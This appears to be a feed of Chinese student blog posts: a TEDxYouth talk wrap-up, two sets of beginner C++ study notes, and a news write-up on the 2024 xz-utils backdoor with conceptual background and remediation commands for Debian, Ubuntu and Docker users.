“Cool!”,确实,很酷! 附件 我演讲的稿件都可以在这里获取,如果后续有视频,我也会传上去。 前前后后的版本都在 珍贵影像 视频有了: 单击放大 合影 合影 合影 合影 合影 提问可怜的孙睿勃 门票和宣传单我都给别人啦,就不拍了,让它成为时光中的宝藏吧 致谢 首先感谢南京市金陵中学给我们举办这次活动的机会, 其次感谢国际部师生的精心策划与辅导, 还要感谢我们班同学对我的支持与鼓励, 特别要感谢高二(2)班樊鼎同学会后对pengs.top的捐赠! 友链 TEDxYouth@jlhs提前预热,快来了解我们的演讲者们! https://mp.weixin.qq.com/s?__biz=MzI1NDAxNzM2Mg==&mid=2649544366&idx=1&sn=64abbd9ffb978b5f0e3bba22b1d098b4&chksm=f1d3dc93c6a4558552202be5a1caf871cfb772a8205e94d3c2be76af6067317cd017672ef92c&mpshare=1&scene=23&srcid=0621UaA9QKBWonl8qilLsHU4&sharer_shareinfo=c99d1f191d935e2cf4a6025545b0dfd0&sharer_shareinfo_first=c99d1f191d935e2cf4a6025545b0dfd0#rd 这是我高中生涯中,一次难忘的经历。

2024/6/22
articleCard.readMore

C++学习笔记-2

这是第二篇C++学习笔记了,这一次,我放下了C++ Primer Plus而转向了C++ Primer,读了一些,感觉比C++ Primer Plus要简洁精炼,也是基于C++11的。本文主要与变量和类型有关。 作用域 作用域由{开始,由}结束。 这个其实是好理解的,我所接触过的语言都有作用域的概念。 当在内层作用域中定义了一个与外层作用域重名的变量时,该作用域中随后的对该变量的调用都是对这个局部变量的调用,但,如果我想要穿插着使用一下那个因为重名而被遮蔽(借自rust的术语)的全局变量呢? 书中给出的办法是使用::作用域运算符,比如在main函数外,你定义了int val = 9;,该变量为全局变量。而在main内,你又一次定义int val = 0;,这个时候std::cout << val;得到0,而std::cout<< ::val;输出9。 虽然说可以这么做,但这毕竟太反模式了,不建议定义与全局变量重名的变量啊 引用 讲到引用,我一开始把它和指针弄混了,后来才发现这俩不太一样,使用引用的方式如下: 1 2 3 4 5 int val = 1024; int &ref = val; // ref就是val的引用,引用必须一开始就初始化。 ref = 2; std::cout << val; // 输出2 可见,引用可以说是原有对象的别名。引用本身不是对象,不能创建引用的引用。 引用的作用 C语言中大量利用指针作为形参或者函数返回值,这是由于值拷贝会有很大的消耗(比如传入传出一个大的结构体)。在C++之中使用引用作为函数参数和返回值的目的和使用指针是一样的,而且形式上更加直观,所以C++提倡使用引用。 指针与引用的区别: 指针是可以独立存在的; 但是引用不行 引用必须要进行初始化,指针没有必要 指针可以设置为NULL, 但是引用不行 引用一旦进行初始化之后,不会再改变其指向;但指针可以 以上特性让我认为引用可以作为指针的较为安全的替代品,但还是要注意不要把局部变量的引用传到外层作用域。 具体在函数中的使用,我还没有学到,再说吧。 const限定符 默认状态下,const对象仅在文件内有效。编译器将在编译过程中把用到const变量的地方都替换成对应的值。 当多个文件中出现了同名的const变量时,其实等同于在不同文件中分别定义了独立的变量。 解决的办法是,对于const变量不管是声明还是定义都添加extern关键字,这样只需定义一次就可以了: 1 extern const int workers = 7; 我们用名词顶层const(top-level const)表示指针本身是个常量,而用名词底层const(low-level const)表示指针所指的对象是一个常量。 常量指针既可以指向常量,也可以指向非常量,因为它是顶层const 类型别名 传统方式 可以使用typedef来定义类型别名,语法如下: 1 typedef 原类型 别名; C++ 11方法 使用using关键字: 1 using NewTypeName = ExistingType; NewTypeName 是你为新类型起的名字,它是你将来用来引用这个类型的标识符。 ExistingType 是现有的数据类型,你想为其创建别名。 个人感觉using看着可读性更强。 decltype decltype指示符用于让编译器推断出表达式所对应的类型 如: 1 decltype(f()) result = x; result的类型与f()返回值的类型相同。 有一点要注意的: decltype((var)) 双层括号永远得到引用类型,如int& ,而decltype(var)仅在var是引用的前提下才得到引用类型 编写自己的头文件并防止被多次导入 我们将使用头文件保护符,这依赖于预处理变量(有两种状态:已定义和未定义) #define指令把一个名字设定为预处理变量, #ifdef当且仅当变量已定义时为真,#ifndef当且仅当变量未定义时为真。一旦检查结果为真,则执行后续操作直至遇到#endif指令为止。 所以我们可以这样书写头文件: 1 2 3 4 5 6 #ifndef EXAMPLE_FLAG #define EXAMPLE_FLAG ...(实际内容)... #endif 这样一来,如果头文件被多次导入,则后续导入将什么也不做。 感想 C++ Primer这本书,我感觉比C++ Primer Plus要好些,它注重实践中的应用,也明确标出了C++ 11的内容。本书的电子版可以在alist.pengs.top获得。 另外分享下看这本书的时候听的歌:《多远都要在一起》–邓紫棋 如果阳光永远都炽热 如果彩虹不会掉颜色,你能不能不离开呢? Your browser does not support the video tag. 我会将你留在我的记忆里,直到我放下一切的那一刻。

2024/4/14
articleCard.readMore

突发|linux基础库xz被爆出存在后门

突发安全事件!!! xz-utils 的 5.6.0 和 5.6.1 版本被维护者 Jia Tan 注入了后门。在 2024 年 3 月 29 日,后门被发现并迅速引起了各大发行版的注意。 xz-utils 分为 liblzma 和 xz 两部分。xz 是一个单文件压缩软件,采用了压缩率高的 LZMA 算法,在 Linux 中被广泛使用。liblzma 是 LZMA 算法的实现,被应用于 systemd 等多个 Linux 系统和应用软件。 目前,Fedora,Arch Linux 和 openSUSE 等多个发行版向用户发出了警告,要求用户立即降级或升级到不存在后门或已经去除后门的 xz-utils 版本。 事件报道 转自知乎 作者:DBinary 链接:https://www.zhihu.com/question/650826484/answer/3448806357 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 在安全圈有一种叫做APT攻击的攻击模式,专业的解释如下:APT是黑客以窃取核心资料为目的,针对客户所发动的网络攻击和侵袭行为,是一种蓄谋已久的“恶意商业间谍威胁”。 这种行为往往经过长期的经营与策划,并具备高度的隐蔽性。 APT的攻击手法,在于隐匿自己,针对特定对象,长期、有计划性和组织性地窃取数据,这种发生在数字空间的偷窃资料、搜集情报的行为,就是一种“网络间谍”的行为。 简单来说就是不怕贼上门就怕贼惦记 而我们这次的主角儿,JiaT75 (Jia Tan),完美诠释了这一持久惦记的理念,充分展示了一个蓄谋已久,放长线钓大鱼的攻击理念,而且几乎就差那么一点点,就能撬开保险库的大门,并在金库里为所欲为. 在此之前,我们先来简简单单了解一下xz包,你可以将它理解成一个压缩程序包,如果你不在圈内,你可能会说,我没啥印象啊,诶,我先放一张图上来 如果你不干这行,看不懂也无所谓,但简单来说,上到网上冲浪看网页,下到图片,音乐,小电影都多多少少和它有关,为啥?比如你看养活了80%音视频从业人员的ffmpeg,也得依赖xz的压缩包支持.但这些,都不是我们主角JiaT75的终极目标:他还可以通过Hook OpenSSH的RSA_public_decrypt函数,绕过RSA签名验证,这将会导致最著名也是应用最广泛的的远程控制服务sshd,不用输入密钥也可以访问. 打个比方就像在你家的大门旁边直接敲开了一个小门,根本不需要你家的门钥匙,就可以进到你家里去为所欲为.你可能说对我也没啥影响啊,我也不用linux,就算进来了,电脑上最值钱的就是那几个G的种子,爱要就拿去好了,但企业,银行,军事机构,医院,政务系统可不这么想,你想想如果某天你做牛做马当帕鲁好不容易赚的几十个w突然变0了,是不是挺恐怖的. 为了达成这个终极目标,我们来看看JiaT75到底干了啥: 2021年:JiaT75(Jia Tan)创建了GitHub账户,并在libarchive项目中提交了一个看似无害但实际可疑的补丁。这个补丁替换了一个安全的函数变体,可能引入了另一个漏洞。 2022年:Jia Tan通过邮件列表提交了一个补丁,随后一个新角色Jigar Kumar出现并开始施压要求合并这个补丁。不久之后,Jigar Kumar开始施压Lasse Collin增加XZ项目的另一位维护者。然后Jigar Kumar便人间消失了。 2023年:JiaT75在XZ项目中的地位逐渐提升,成为了第二活跃的贡献者。同年,JiaT75合并了第一个提交,这个时候我们主角已经获得了足够的信任。此外,Google的oss-fuzz项目的主要联系邮箱也被更新为Jia的邮箱。 终于JiaT75在2024年最近几个月的commit中露出了鸡脚 他提交了bad-3-corrupt_lzma2.xz和good-large_compressed.lzma两个看上去人畜无害的测试文件实际上存在恶意代码的文件,然后他精细构造了编译脚本,以在特定的情况下释放恶意代码,改变编译结果,使得使用其编译出的程序存在后门. 直到一个非常非常偶然的情况,一个测试人员察觉到些许不对劲 大意如是一个做测试的老哥因为服务器的风扇很吵,然后去检查发现sshd服务占用了大量的CPU资源(CPU发热多嘛),然后他发现在liblzma(就是xz的部分)占用了大量的CPU,然后他就想去查查到底哪部分代码跑的那么慢,结果调试时发现,这部分居然没有对应符号表。 啥是符号表呢,简单来说源代码到编译成程序时,会将源码和二进制程序做个对应,当程序出问题时,就能方便你查找到对应源码,因为这个恶意后门代码本身就是以二进制程序的方式插入进来的,没有经过这个源码到程序的编译过程,自然就没有符号表咯,那这个插入的部分,到底在隐藏什么? 测试老哥越想越不对劲,于是就有了上面这个邮件,可以说要不是这老哥的敬业水平和技术水平之高如此可见一斑,换其它任何一个草台班子,这个鸡脚都不会漏出来。 除了以上这个巧合,我们主角对这个攻击可谓是非常用心,根据@Yachen Liu 的爆料内容 攻击者抢在ubuntu beta freeze的几天前才尝试让新版本并入,以期望减少在测试期间被发现的时间。 xz-utils项目的原维护者Lasse Collin (L arhzu),有着定期进行internetbreaks的习惯,而且最近正在进行,导致这些变动他并没有review的机会,即使到现在也没能联系上他本人。这可能也是攻击者选定xz-utils项目的原因之一。 可以说这次供应链投毒案,持续时间之久,之巧妙,之隐蔽实在是叹为观止,发现的是非常之巧合了,我甚至怀疑其背后应该是一个团队或组织甚至**的安全或间谍部门策划的。而受影响的xz-utils包已经被并入Debian testing中进行测试,可以说,jiat45同学距离撬开保险裤仅仅一步之遥。东窗事发不知道该说是运气不好还是运气太好。有句话叫当你在厨房里看到一只蟑螂时,背后可能已经有了一个蟑螂窝了,就像外卖你吃的很香,但你知道怎么做的之后可能就吃不下去了。而安全一直以来是一个系统工程,其横跨软件工程,社会工程,甚至意识型太,从来也不是靠换门编程语言,换个系统框架,买买防火墙就能解决的。 我们享受了包管理的便利时,也得承担其风险,没有那么多我既要我又要的选项。 检查与解决 很可怜的是,截至本文写作时,我的电脑也运行着这一有后门的版本: 一周好不容易滚动更新这么一次就中招了。 好在,本次攻击archlinux免受其害(据archlinux官网),但是,我建议你还是尽早更新。目前国内源大部分还没来得及和上游同步,可以明天再试。 更新:目前基本上各发行版都推送了修复版本,版本号5.6.1-2 debian/ubuntu 用户 你们是本次攻击最主要的受害人群,因为这两个系统跑在服务器上的很多,因此成为黑客的靶子也很正常我说错了,这个后门存在于比较新的版本中,发现的及时,没有进入发行版的稳定版仓库,多数人应该接触不到,你要做的是: 运行xz --version, 若为5.6.0或5.6.1 ,请用apt指定安装较旧的版本: sudo apt install xz-utils=5.4.1 Docker用户 你们才是最主要的受灾人群,因为不少docker选择内置一个archlinux或alpinelinux,而这两个系统都是滚动发行版本,最有可能接触到问题代码。 alpinelinux尚未作出回应,archlinux已经发了新闻: 运行如下命令以检查有无使用archlinux: 1 docker image history archlinux/archlinux 如果有,运行如下命令升级: 1 docker image pull archlinux/archlinux 建议在2024-02-24 和 2024-03-28 之间创建的容器内部都要进行检查 其他滚动发行版用户 出了这种事,你要么降级,要么升级,事情比较突然,不少发行版还没有反应过来,还是暂时降级吧。 不过别担心,因为我知道你大概不会在服务器上用滚动发行版本的,而本地的机子没有公网ip,即使存在漏洞,人家也连不进来。 反思 本次攻击,令人心有余悸,虽然本次攻击没有成功,但确实是一起令人震惊的供应链攻击。开源很好,但也很脆弱。世界上有不少好心人,可也有不少笑面虎。如何防范这类攻击,是一个困难的社会工程学问题,因为限于时间和水平因素,我们往往会选择信任一部分人,开源社区需要信任,但是近年来社区内部的欺骗屡见不鲜(core-js,还有crDroid群组的恶意刷机包),这些,好比是污染了水源,开源的口碑,是社区建立起来的,但是偏偏有几粒老鼠屎混了进来。眼下我们能做的,只能是开发者不松懈,用户多留心异常状况,与开发者保持畅通关系。另外企业也可以参与进来,像github之前要求所有开发者都要用多因素验证,虽然一开始觉得有点烦,但后来也就习惯了。谷歌这类互联网巨头更应牵头采取行动,共同维护开源软件的健康。 另外,github目前已经封禁了相关作者与仓库,响应还算及时 有点担心,如果这个账号真的这样谋划了两三年,那么现在看到的身份会不会也是假的, 再次感慨,不知道,这样的攻击,是否还在进行着…… 开源软件代码人人可见,尚有人敢这么作,那么商业软件内藏了多少后门?尚未可知。 今天有人提到 Lasse Collin 对于 xz 项目早就疲惫不堪,Jia Tan 是极少数愿意真正贡献代码的“开发者”,这都是这场悲剧不可或缺的背景条件。 在无人关心的角落,Florian Westphal 最近辞去了内核 netfilter co-maintainer,所以现在 nf 只剩 Pablo Neira Ayuso 一人维护。这可是无数人每天使用的 netfilter。 在无人关心的角落,调试最常用的工具之一 strace 依然只由一个捷克人 Dmitry V. Levin 默默维护。 在无人关心的角落,tcpdump/libpcap 在由 the-tcpdump-group 持续更新,其中一位 Denis Ovsienko 的自我介绍是 sometimes I work jobs for living, sometimes I contribute pro bono to free and open source software projects, often I do both,给人一种很孤独的感觉。 在无人关心的角落,bash group 只有三位 active members,其中一位 Bob Proulx 有个古典博客,里面有记录他和妻子的平静生活。 我以前赞美人月神话,但我现在更关心默默无闻的开发者们,就像 vim 作者 Bram Moolenaar 一生没有和任何人建立亲密关系,我只想问,你这一生过得开心吗? 你们这些伟大的开发者们过得开心吗? 开源,在这个风起云涌的后互联网时代,到底能走多远?

2024/3/30
articleCard.readMore

C++学习笔记-1

之前讲到我在学rust,rust比较难,学起来磕磕绊绊,回想起当年学C++,也是一样的痛苦,现在rust已经有所了解了,但暂时还没有做什么项目,主要是课余时间也不多。今天突然翻到以前下载的C++ Primer Plus,再读时,有拨云见日之感。没错,现在我决定捡起曾经被我搁置的C++,毕竟现在基础知识有了一定的积累,看起书来可比以前轻松多了(第一次读C++ Primer Plus大概是在初一) 本文主要也是记录一些细碎的要点,以备查阅。 变量 变量使用之前需要声明 不像一些动态语言,cpp中变量使用之前需要声明,格式如下 1 数据类型 变量名 (=初始值); 这样的初始值甚至可以是函数的返回值,例如可以有以下语句: 1 double side = sqrt(area); 这个过程叫做初始化。 (强制)类型转化 在C++中,数值有三种强制类型转化的方法: 同C,以(type) value的形式进行转化,如以下代码: 1 2 int x; x = (int) 9.9; 则x实际为9(C++直接截断而非四舍五入) C++风格:type (value) static_cast<> 运算符,格式:static_cast<type> (value) 算术运算 除法运算 除法运算使用/运算符,不过它有点像python里的//,如果两个操作数都是整数,则结果为商的整数部分。例如,17/3 等于 5,小数部分被丢弃。 复合类型 结构体 在学习C++的struct时,C++ Primer Plus没有给出如何针对结构体中不同字段单独赋值,只给了一种按顺序赋值的方法,像这样: 1 Rectangle rec = {4,3}; 我想应该没人会觉得这样的代码可读性很好,而且万一以后这个结构体的定义变了,哪怕只是各字段换了个顺序,都要修改其余代码,实在是太蠢。我就想C++肯定有像其他语言那样指明给哪个字段赋值的语法(毕竟我记得C都有) 上网查了一下,确实是可以指定字段的, 实现上有两种方式,一种是通过点号加赋值符号实现,即“.fieldname=value”,另外一种是通过冒号实现,即“fieldname:value”,其中fieldname为指定的结构体成员名称。前一种是C99标准引入的结构体初始化方式,但在C++中,很多编译器并不支持。 1 2 3 4 5 //点号+赋值符号 struct A a={.b = 1,.c = 2}; //冒号 struct A a={b:1,c:2}; 我想我更喜欢第二种,rust就是这么用的。 一些感想 关于C++ Primer Plus,就我看到的前面这几章,我感觉讲得太慢了,当然,这本书考虑到了一部分没有编程基础的读者,可是如果读者真是没有一点基础的话,像我几年前甚至都没学python就去看这本书时,着实云里雾里的,因此从这一角度来说,这本书的设计可能有少许瑕疵。 另外这段时间,翻了一下的王爽的《汇编语言》这本书,里面有段话让我有所感触: 思 考 下 面 几 个 问 题 : (1) 人 们 用 C 语 言 编 程 时 都 要 用 变 量 , 我 们 就 非 用 不 可 吗 ? (2) C 语 言 规 定 用 户 写 的 程 序 从 main 函 数 开 始 , 我 们 就 非 要 用 main 函 数 吗 ? (3) printf 函 数 可 以 接 收 不 定 数 量 的 参 数 司 空 见 惯 , 我 们 就 不 怀 疑 了 吗 ? 我 们 把 问 题 再 精 简 一 下 , 使 其 变 得 更 本 质 : (1) 都 在 用 , 我 们 就 非 得 用 吗 ? (2) 规 定 了 , 我 们 就 只 知 道 遵 守 吗 ? (3) 司 空 见 惯 , 我 们 就 不 怀 疑 了 吗 ? 在 许 多 领 域 内 , 我 们 被 这 些 所 谓 都 在 用 的 , 规 定 了 的 , 司 空 见 惯 的 , 蒙 蔽 了 多 久 呢 ? 如 果 我 们 被 这 些 蒙 蔽 , 那 么 , 真 正 蒙 蔽 我 们 的 是 这 些 , 还 是 我 们 自 己 ? 很多时候,我们学习的过程中,无论是一门编程语言,还是一门学科,我们往往都是从模仿开始,这是学习的基础,我们让自己变得更像模仿的对象,却很少给自己真正探索的机会。 我们可能会觉得真的没有什么好怀疑的,此时,可能正说明我们的能力有所局限。 比如rust中println!()这个宏,从写hello,world时我就在用,但是到现在,仍然对宏背后的复杂系统一知半解。 计算机这个领域,发展到今天,历史也不算短了,可还是很年轻,为什么呢? 因为一代代的coder,他们怀着一颗探索与尝试的心。人们称他们为geeker(极客),有佩服,但也有不理解。你说一个人整天啥也不干,就对着一个黑框框打字,时而欣喜,时而皱眉,是不是很像疯了? 但,也许TA正在开发一个将来获得数万star的开源软件,也许TA在研究怎样让现有的方案快3%,也许,TA正在自己的Home Server上部署着TA的第N个玩了两天就一直吃灰的docker, 然而,TA做的,不管有无回报,有无“用处”,都是走在技术的前沿(bleeding-edge)的。 他们正在做的,可能正是人们司空见惯以外的事。 但正是这样,CS这个永远年轻的领域才一直给人以惊喜啊!

2024/3/27
articleCard.readMore